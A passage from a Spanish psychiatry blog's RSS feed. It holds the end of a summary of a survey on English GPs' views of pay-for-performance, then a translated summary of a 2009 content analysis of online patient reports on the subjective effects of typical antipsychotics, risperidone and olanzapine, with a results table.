<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los cambios en los contratos de los médicos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">ingleses (en 1966 y 1990) han tenido un gran impacto en sus</p>
<p align="left">condiciones de trabajo.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Evaluar la percepción de los médicos generales</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">ingleses respecto al impacto del pago por rendimiento en su</p>
<p align="left">vida profesional y laboral.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Longitudinal, mediante encuestas postales</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">repetidas.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los autores enviaron una encuesta postal a una</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">muestra representativa de médicos generales del Reino Unido,</p>
<p align="left">primero en 2001, después en febrero de 2004 (antes de poner</p>
<p align="left">en marcha el pago por rendimiento), y por último en septiembre</p>
<p align="left">de 2005 (18 meses tras el nuevo contrato). Contestó en</p>
<p align="left">2004 el 57% (2.179 médicos generales). De ellos contestaron</p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">67 AMF 2008;4(6):344-352 <strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1">351</font></font></strong></p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Juan Gérvas</p>
<p align="left">Mercedes Pérez Fernández</p>
<p align="left">Pago por desempeño (<em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance»</font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">) [P4P])</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Sí, al menos respecto al consejo contra el tabaquismo y</p>
<p align="left">el abandono del mismo.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Qué ha cambiado en la práctica y qué opinan los médicos</p>
<p align="left">generales del nuevo contrato que incluye el pago por</p>
<p align="left">rendimiento?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Los médicos generales ingleses valoran positivamente el</p>
<p align="left">pago por rendimiento, ya que se asocia a trabajar menos</p>
<p align="left">horas, a ganar más y a tener más satisfacción en el trabajo.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 10</p>
<p align="left">EL PAGO POR RENDIMIENTO, MEJOR DE LO</p>
<p align="left">ESPERADO POR LOS MÉDICOS GENERALES INGLESES</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1">352 <font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">AMF 2008;4(6):344-352 68</font></font></font></font><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"> </font></font></font><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"></p>
<p /></font></font></font></strong></font></font>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/40/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EXPERIENCIA SUBJETIVA DE TOMAR MEDICACIÓN ANTIPSICÓTICA.</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/39</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/39#comments</comments>
		<pubDate>Sat, 22 Aug 2009 09:38:24 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/39</guid>
		<description><![CDATA[La experiencia subjetiva de tomar medicación antipsicótica: un análisis del contenido de datos en Internet.
 
Moncrieff J, Cohen D, Mason JP. The subjective experience of taking antipsychotic medication: a content analysis of Internet data. Acta Psychiatr Scand, 2009: 120-111.
Traducción resumida por Emilio Pol Yanguas. El original está disponible en la biblioteca del Centro Dr. Esquerdo, San [...]]]></description>
			<content:encoded><![CDATA[<p><strong><font face="Calibri">La experiencia subjetiva de tomar medicación antipsicótica: un análisis del contenido de datos en Internet.<br />
</font></strong><font face="Calibri"> </font></p>
<p><font face="Calibri"><span lang="EN-US">Moncrieff J, Cohen D, Mason JP. The subjective experience of taking antipsychotic medication: a content analysis of Internet data. </span>Acta Psychiatr Scand, 2009: 120-111.<br />
</font><font face="Calibri">Traducción resumida por Emilio Pol Yanguas. El original está disponible en la biblioteca del Centro Dr. Esquerdo, San Juan de Alicante.<br />
</font><font face="Calibri"> </font></p>
<p><strong><u><font face="Calibri">Introducción<br />
</font></u></strong><font face="Calibri">Los medicamentos antipsicóticos se consideran un componente esencial de tratamiento de la esquizofrenia y otros trastornos psicóticos. Su utilización se está expandiendo a otros trastornos psiquiátricos, como trastornos depresivo mayor, trastornos de personalidad, problemas de conducta en personas con retraso mental o enfermedad de Alzheimer,.. , y otras. En muchas de estos diagnósticos, se cree que el pronóstico depende de un adecuado cumplimiento con el tratamiento farmacológico. Sus efectos físicos han sido bien caracterizados, así como sus efectos sobre la conducta observable. Pero poco se sabe sobre los efectos subjetivos que producen en las personas que los toman. Sin embargo cada vez se reconoce más la importancia de la visión del paciente a cerca de sus problemas y su tratamiento.<br />
</font><font face="Calibri">El estudio de los efectos subjetivos de los antipsicóticos también puede dar pistas sobre el mecanismo de su acción terapéutica. La “indiferencia psíquica��? puede explicar el efecto terapéutico en las psicosis, haciendo que los síntomas psicóticos sean menos intrusivos y tengan un menor impacto emocional, más que eliminándolos totalmente. Los estudios de neuroimagen también relaciona el bloqueo de receptores dopaminérgicos D2, que se piensa es responsable del efecto antipsicótico, con la capacidad para producir disforia. Todo esto hace pensar que el efecto terapéutico de los antipsicóticos, lejos de ser específico, procede de su impacto general sobre la cognición y la emoción.<br />
</font><font face="Calibri">Las investigaciones tempranas llevadas a cabo sobre los efectos de los primeros fármacos antipsicóticos indicaron que estos producían un estado subjetivo caracterizado por enlentecimiento mental, apatía e indiferencia emocional. Estos hallazgos se confirmaron con la información proporcionada por voluntarios sanos que ingirieron tales fármacos, y por relatos en primera persona de pacientes que recalcaron que les producían distanciamiento emocional, reducción de iniciativas, disforia y akatisia. Este conjunto de efectos ha venido siendo reconocido como un síndrome inducido por neurolépticos al que se ha denominado como “disforia inducida por neurolépticos��?, “depresión acinética��?, “síndrome deficitario inducido por neurolépticos��? o “toxicidad conductual��?. En general, los estudios que se centran en los efectos adversos señalan que los efectos mentales adversos de los antipsicóticos son frecuentes, y a menudo experimentados de forma más desagradable que los efectos físicos. La experiencia negativa con el tratamiento farmacológico se ha relacionado con un pobre cumplimiento.<br />
</font><font face="Calibri">Es evidente que el perfil de efectos adversos físicos de los nuevos medicamentos antipsicóticos difiere del de los más antiguos. Por tanto las experiencias subjetivas también pueden diferir entre los distintos grupos de antipsicóticos. Aunque algunos estudios sugieren que los nuevos fármacos producen menos aversión que los antiguos, ensayos clínicos randomizados “naturalistas��? no han confirmado tal ventaja.<br />
</font><font face="Calibri"><strong><u>El objetivo</u></strong> de este estudio es compara los efectos subjetivos, especialmente mentales, tanto positivos como negativos, producidos por diferentes clases de antipsicóticos (risperidona, olanzapina y antipsicóticos típicos). Así como la relación entre efectos físicos y mentales de estos fármacos.<br />
</font><strong><u><font face="Calibri">Método<br />
</font></u></strong><font face="Calibri">Los autores examinaron los datos de una página de Internet </font><a href="http://www.askapatient.com/"><font face="Times New Roman">http://www.askapatient.com</font></a><font face="Calibri">, que compila los comentarios anónimos y sin censura que los usuarios, , con un amplio abanico de diagnósticos, hacen sobre de los efectos de tomar distintas clases de medicamentos. Aunque los autores trataron de conocer el objetivo y el patrocinio de la mencionada página, sus intentos al respecto fueron infructuosos. En la mencionada página, los usuarios disponen de dos campos en los que escribir en cada uno de ellos entre 25 y 100 palabras, uno sobre “efectos adversos��? y otro para “comentarios��?. A los usuarios se les pregunta también por algunos datos demográficos en campos separados, como edad, género, diagnóstico, tiempo que están tomando el medicamento. No se les pregunta sobre la dosis, pero algunos informas sobre este aspecto en los comentarios. Finalmente se les pide que valoren el fármaco de 1(lo más negativo) a 5 (lo más positivo).<br />
</font><font face="Calibri">Antes de escrutar las entradas de los pacientes, los autores elaboraron una lista de los posibles efectos subjetivos asociados con la toma de antipsicóticos. Todos los comentarios en la página, a fecha 17-08-2007, referidos a los fármacos en estudio se imprimieron y numeraron. Dos de los autores examinaron de forma independiente, no ciega respeto al fármaco, los comentarios para identificar temas recurrentes, utilizando como guía la lista anteriormente elaborada. Cuando se identificaron efectos y experiencias adicionales, se añadieron a la guía, y finalmente se elaboró una lista definitiva de efectos y experiencias, tras discusión y consenso por los dos investigadores. La lista se enfocó a detectar cualquier efecto o experiencia que se atribuyera a los antipsicóticos, y se excluyeron los comentarios que relataban solo síntomas psiquiátricos, no obstante la relación entre los efectos subjetivos producido por el fármaco y el cambio en los síntomas psiquiátricos si se registró. También se evaluaron efectos físicos comunes notificados.<br />
</font><font face="Calibri">Uno de los investigadores codificó los comentarios los comentarios conforme a la lista final de efecto. La bondad de la clasificación fue examinada mediante una prueba Kappa de concordancia, con una muestra clasificada simultáneamente por otro de los investigadores. Para comparar los efectos asociados con diferentes fármacos, se anotó el número de comentarios que mencionaban cada categoría de efectos, por tipo de fármaco antipsicótico, y se realizó una pruebaChi-2 a tres bandas.<br />
</font><strong><u><font face="Calibri">Resultados<br />
</font></u></strong><font face="Calibri">En la base de datos se encontraron comentarios en primera persona sobre 3 antipsicóticos clásicos: clorpromazina, trifluperazina y haloperidol. Después de eliminar los comentarios repetidos o enviados por familiares o amigos, quedaron, 9 comentarios sobre clorpromazina, 7 sobre trifluperazina y 26 sobre haloperidol, a fecha 17 de agosto del 2007. Durante este año se escribieron en la página web 3 comentarios más sobre haloperidol y otro para trifluperazina, que se incluyeron en la base de datos, con la finalidad de incrementar el tamaño de muestra. Los datos de los tres antipsicóticos clásicos se analizaron conjuntamente, dado que lo reducido de la muestra prohibía realizar comparaciones entre ellos, quedando en 46 el número de comentarios sobre antipsicóticos típicos. También a 17 de agosto del 2007, en la web había 176 comentarios para olanzapina de los cuales 170  eran en primera persona, y 256 comentarios sobre risperidona, de ellos 223 en primera persona.<br />
</font><font face="Calibri">Los pacientes que escribieron sobre antipsicóticos típicos eran mayores que el resto. La media de edad en años (desviación típica) fue de 36,3 (13,1) para el grupo de típicos (T), 30,7 (10,5) para el grupo de risperidona (R) y 34,1 (10,6) para el de olanzapina (O) (p=0,001) (Kruskall-Wallis). El grupo que tomaba antipsicóticos típicos también llevaba más tiempo en días tomando el fármaco que el resto, 776,4 (1507,7) (T); 609,9 (1043,5) (R); 464,5 (837,9) (O), pero la diferencia no era estadísticamente significativa, (p=0,10). La proporción de mujeres fue similar en los 3 grupos 52,2% (T), 57,0% (R); 54,7% (O).<br />
</font><font face="Calibri">Aunque en la web no se preguntaba específicamente por la dosis recibida, algunos usuarios de los medicamentos la notificaron en sus comentarios, las dosis de los 3 antipsicóticos típicos se convirtieron en equivalentes de haloperidol. Las dosis medias en mg (desviación típica) [rango] fueron para el grupo de típicos (n=11) 6,5mg (3,8) [1,5-13,3]; para el grupo risperidona (n=68) 2,2mg (1,7) [0,25-7); y para el grupo olanzapina (n=35) 11,3mg (9,4) [3-20].  (Nota del comentarista: a fin de compara las dosis de los tres grupos, indicamos para cada uno de ellos la correspondencia en mg de  1 Dosis Diaria Definida para haloperidol 8mg, para risperidona 5 mg, para olanzapina 10mg).<br />
</font><font face="Calibri">La puntuación de la satisfacción, en la escala 1-lo peor á 5 lo mejor, con el medicamentos por los usuarios, no difirió entre los tres grupos de fármacos, ni cuando se compararon las medias 2,37 (1,67) (T), 2,70 (1,45) (R); 2,75 (1,48) (O), (p=0,26; Kruskall-Wallis); ni cuando se compararon los porcentajes de pacientes que pintuaron 1ó 2, (57% T, 49% R, 49% O), 3 (17% T, 20% R, 18% O), y 4ó 5 (26% T, 31% R, 34% O) (p=0,84). Cuando se mezclaron las puntuaciones de R y O, la diferencia respeto a T tampoco fue significativa (p=0,10 - Mann-Whitney).<br />
</font><font face="Calibri">El diagnostico de psicosis/esquizofrenia fue más frecuente entre los que recibían fármacos clásicos (37%), que entre los que recibían risperidona 32,7% u olanzapina 22,9% (p=0,10). Por el contrario los trastornos afectivos fueron más frecuentes en el grupo olanzapina: trastorno bipolar  15,2% T; 28,3% R, 40,6% O (p=0,001);  depresión 4,7% T; 9,0% R; 15,3% O (p=0,04). No hubo diferencias respeto al trastorno de ansiedad: 6,5% T, 9,4% R; 10% O (p=0,77).<br />
</font><font face="Calibri">La concordancia entre los dos investigadores al clasificar los efectos subjetivos y físicos, asociados a los 3 categorías de antipsicóticos fue elevada, índice Kappa =0,8, para todos los ítems, excepto para “eufoeria��? (Kappa =0,68) (p<0,00,1). A continuación se listan los distintos tipos de efectos y el número (porcentaje) de sujetos que los refieren, para cada categoría y fármacos, así como la significación estadística.<br />
</font><font face="Calibri"> </font></p>
<table width="584" class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 584px" colspan="5"><font face="Calibri">Principales categorías de efectos subjetivos y efectos físicos asociados con el uso de antipsicóticos<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Categoría de efectos<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">Típicos (n=46)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">Risperidona (n=223)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">Olnazapina (n=170)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">significación<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Efectos sedantes (somnolencia, sedación diurna, fatiga, letargo, dificultad para despertar)<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">20 (43,5)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">93 (41,7)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">95 (55,9)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P=0,017<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Efectos cognitivos (pérdida de concentración o memoria, lentitud mental)<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">16 (34,8)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">41 (18,4)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">29 (17,1)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P=0,022<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Efectos emocionales y sobre la motivación (aplanamiento emocional, indiferencia, pérdida de interés, cambio de personalidad, pérdida de interés)<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">9 (19,6)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">48 (21,5)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">37 (21,8)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P=0,95<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Efectos parkinsonianos (rigidez, lentitud, temblor)<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">15 (32,,6)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">22 (9,9)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">6 (3,5)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P<0,001<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Akatisia (inquietud mental o física y tensión)<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">11 (23,9)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">16 (7,2)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">9 (5,3)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P<0,001<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Ansiedad, irritabilidad<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">4 (8,7)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">20 (9,0)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">9 (5,3)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P=37<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Depresión<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">2 (4,3)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">9 (4,0)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">10 (5,9)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P=0,69<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Ideación suicida (atribuible al medicamento)<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">2 (4,3)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">3 (1,4)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">6 (3,5)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P=0,27<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Euforia, relajación, tranquilidad<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">1 (2,2)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">7 (3,1)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">8 (4,7)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P=0,61<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Dificultades sexuales<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">1 (2,2)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">59 (26,5)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">9 (5,3)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P<0,001<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Efectos hormonales<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">0<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">30 (13,5)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">0<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P<0,001<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Aumento de peso<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">5 (10,9)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">82 (36,8)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">88 (51,8)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P<0,001<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Aumento extremo de peso<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">2 (4,3)<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">30 (13,5)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">49 (28,8)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">P<0,001<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 262px"><font face="Calibri">Incremento del apetito o anhelo de alimento<br />
</font></td>
<td valign="top" style="width: 66px"><font face="Calibri">0<br />
</font></td>
<td valign="top" style="width: 85px"><font face="Calibri">19 (8,5)<br />
</font></td>
<td valign="top" style="width: 76px"><font face="Calibri">43 (25,3)<br />
</font></td>
<td valign="top" style="width: 94px"><font face="Calibri">p<0,001<br />
</font></td>
</tr>
</table>
<p><font face="Calibri" /></p>
<p><font face="Calibri">Sedación fue el efecto subjetivo más frecuentemente descrito para las tres categorías de fármacos, seguido de sentimiento subjetivo de pérdida de capacidades cognitivas y también aplanamiento afectivo y desinterés. La sedación fue referida por un mayor porcentaje de sujetos tomando olanzapina, mientras que las dificultades cognitivas fue referida en mayor proporción por usuarios de antipsicóticos típicos. Un pequeño número de sujetos (<5%) de cada clase de antipsicóticos refirió efectos mentales subjetivos positivos como euforia, calma, o relajación (más frecuentemente con olanzapina).<br />
</font><font face="Calibri">Para los tres grupos de fármacos algunos usuarios informaron que los causaba depresión o ideación suicida. El 13,8% de los que notificaron akatisia informaron también de padecer pensamientos suicidas, frente a solo el 1,5% de los que no padecieron akatisia(p<0,001). Esta asociación entre akatisia y pensamiento suicida se debe fundamentalmente a los pacientes que tomaban olanzapina, (p<0,001), mientras que no hubo asociación significativa cuando se consideraron los pacientes que tomaban risperidona (p=0,08) o antipsicóticos típicos (p=0,42).<br />
</font><font face="Calibri">Las frecuencias relativas de quejas sobre problemas físicos es similar a la esperada para cada categoría de fármacos antispcióticos. Efectos extrapiramidales más frecuente con fármacos típicos, que con el resto. Los efectos sexuales y hormonales fueron más frecuentes con risperidona. Los efectos metabólicos fueron más frecuentes con olanzapina.<br />
